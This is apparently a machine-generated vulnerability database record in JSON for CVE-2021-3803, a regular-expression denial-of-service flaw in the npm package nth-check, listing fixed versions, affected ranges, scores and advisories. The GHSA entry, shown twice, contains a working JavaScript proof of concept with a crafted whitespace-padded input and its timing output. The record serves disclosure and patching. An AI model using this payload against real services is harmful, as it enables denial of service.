{"id":"CVE-2021-3803","aliases":["CLSA-2026-1773188146","CLSA-2026-1775003168","DEBIAN-CVE-2021-3803","DLA-3428-1","EUVD-2021-2109","GHSA-rp65-9cf3-cjxr","ROOT-APP-NPM-CVE-2021-3803","UBUNTU-CVE-2021-3803","USN-6114-1"],"status":"published","title":"Inefficient Regular Expression Complexity in fb55/nth-check","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.02206,"percentile":0.82824,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2021-09-17T00:00:00Z","modified":"2026-10-26T13:21:31Z","fixes":[{"ecosystem":"npm","package":"nth-check","fixed_in":["2.0.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"nth-check","fixed_in":["1.0.2-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-nth-check","fixed_in":["2.0.1-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-nth-check","fixed_in":["2.0.1-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-nth-check","fixed_in":["2.0.1-1"],"sources":["osv"]},{"ecosystem":"Debian:10","package":"node-nth-check","fixed_in":["1.0.1-1+deb10u1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/nth-check","fixed_in":["1.0.2-root.io.1","1.0.2-root.io.2","2.0.0-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"nth-check","fixed_in":["1.0.2-aikido.2","2.0.0-aikido.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:18.04:LTS","package":"node-nth-check","fixed_in":["1.0.1-1+deb10u1build0.18.04.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:20.04:LTS","package":"node-nth-check","fixed_in":["1.0.1-1+deb10u1build0.20.04.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.2-tuxcare.0"},{"fixed":"1.0.2-tuxcare.1"}]}],"versions":["1.0.2"]},{"source":"osv","ecosystem":"Debian:12","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.1-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.1-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.1-1"}]}]},{"source":"osv","ecosystem":"Debian:10","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1-1+deb10u1"}]}],"versions":["1.0.1-1"]},{"source":"osv","ecosystem":"npm","package":"nth-check","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.2-root.io.1"},{"fixed":"1.0.2-root.io.2"},{"fixed":"2.0.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.2-aikido.2"},{"fixed":"2.0.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1-1+deb10u1build0.18.04.1"}]}],"versions":["1.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1-1+deb10u1build0.20.04.1"}]}],"versions":["1.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1-1+deb10u1build0.18.04.1"}]}],"versions":["1.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nth-check","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1-1+deb10u1build0.20.04.1"}]}],"versions":["1.0.1-1"]}],"products":[{"vendor":"debian","product":"debian_linux"},{"vendor":"fb55","product":"fb55/nth-check"},{"vendor":"nth-check_project","product":"nth-check"}],"references":[{"url":"https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0","tags":["x_transferred","Exploit","Issue Tracking","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726","tags":["x_transferred","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html","tags":["mailing-list","x_transferred","Mailing List","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3803","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rp65-9cf3-cjxr","tags":["report"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2021-3803","tags":["advisory"]},{"url":"https://github.com/fb55/nth-check","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2021-3803","tags":["report"]},{"url":"https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0/","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-6114-1","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2021-3803","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2021-3803","title":"Inefficient Regular Expression Complexity in fb55/nth-check","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T00:00:00Z","modified":"2024-08-03T17:09:08.622Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:33:03.671751Z"}],"euvd":[{"id":"EUVD-2021-2109","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T00:00:00Z","modified":"2024-08-03T17:09:08Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:25:11.953192Z"}],"ghsa":[{"id":"GHSA-rp65-9cf3-cjxr","title":"Inefficient Regular Expression Complexity in nth-check","description":"There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```","status":"published","published":"2021-09-20T20:47:31Z","modified":"2023-11-29T22:11:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:37:23.843848Z"}],"nvd":[{"id":"CVE-2021-3803","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T07:15:09.153Z","modified":"2026-06-17T04:05:47.91Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:06:58.933037Z"}],"osv":[{"id":"CVE-2021-3803","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T07:15:09.153Z","modified":"2026-10-20T10:54:52.369356671Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:20.843843Z"},{"id":"DEBIAN-CVE-2021-3803","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T07:15:09.153Z","modified":"2026-10-23T18:05:23.553579294Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:35.521549Z"},{"id":"GHSA-rp65-9cf3-cjxr","title":"Inefficient Regular Expression Complexity in nth-check","description":"There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```","status":"published","published":"2021-09-20T20:47:31Z","modified":"2026-09-10T03:49:08.829841257Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"UBUNTU-CVE-2021-3803","description":"nth-check is vulnerable to Inefficient Regular Expression Complexity","status":"published","published":"2021-09-17T07:15:00Z","modified":"2026-02-04T04:24:51.928312Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:28.526929Z"},{"id":"CLSA-2026-1773188146","title":"TuxCare security update for diff (3 CVEs)","description":"TuxCare rebuilt diff to address 3 CVEs. Fixed in 1.0.2-tuxcare.1.","status":"withdrawn","published":"2026-08-04T14:52:12Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1775003168","title":"TuxCare security update for nth-check (1 CVE)","description":"TuxCare rebuilt nth-check to address 1 CVE. Fixed in 1.0.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.102989504Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"DLA-3428-1","title":"node-nth-check - security update","status":"published","published":"2023-05-20T00:00:00Z","modified":"2026-03-09T01:20:26.098732Z","updated_at":"2026-11-02T15:46:11.734021Z"},{"id":"ROOT-APP-NPM-CVE-2021-3803","title":"CVE-2021-3803 in @rootio/nth-check - Patched by Root","description":"Root has patched CVE-2021-3803 in the @rootio/nth-check package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-16T12:08:52Z","modified":"2026-06-16T18:45:25.995262388Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"USN-6114-1","title":"node-nth-check vulnerability","description":"Yeting Li discovered that nth-check incorrectly handled certain inputs. If a\nuser or an automated system were tricked into opening a specially crafted\ninput file, a remote attacker could possibly use this issue to cause a\ndenial of service.\n","status":"published","published":"2023-05-30T08:40:33Z","modified":"2026-02-10T04:43:08Z","updated_at":"2026-11-02T16:58:16.738762Z"}]}}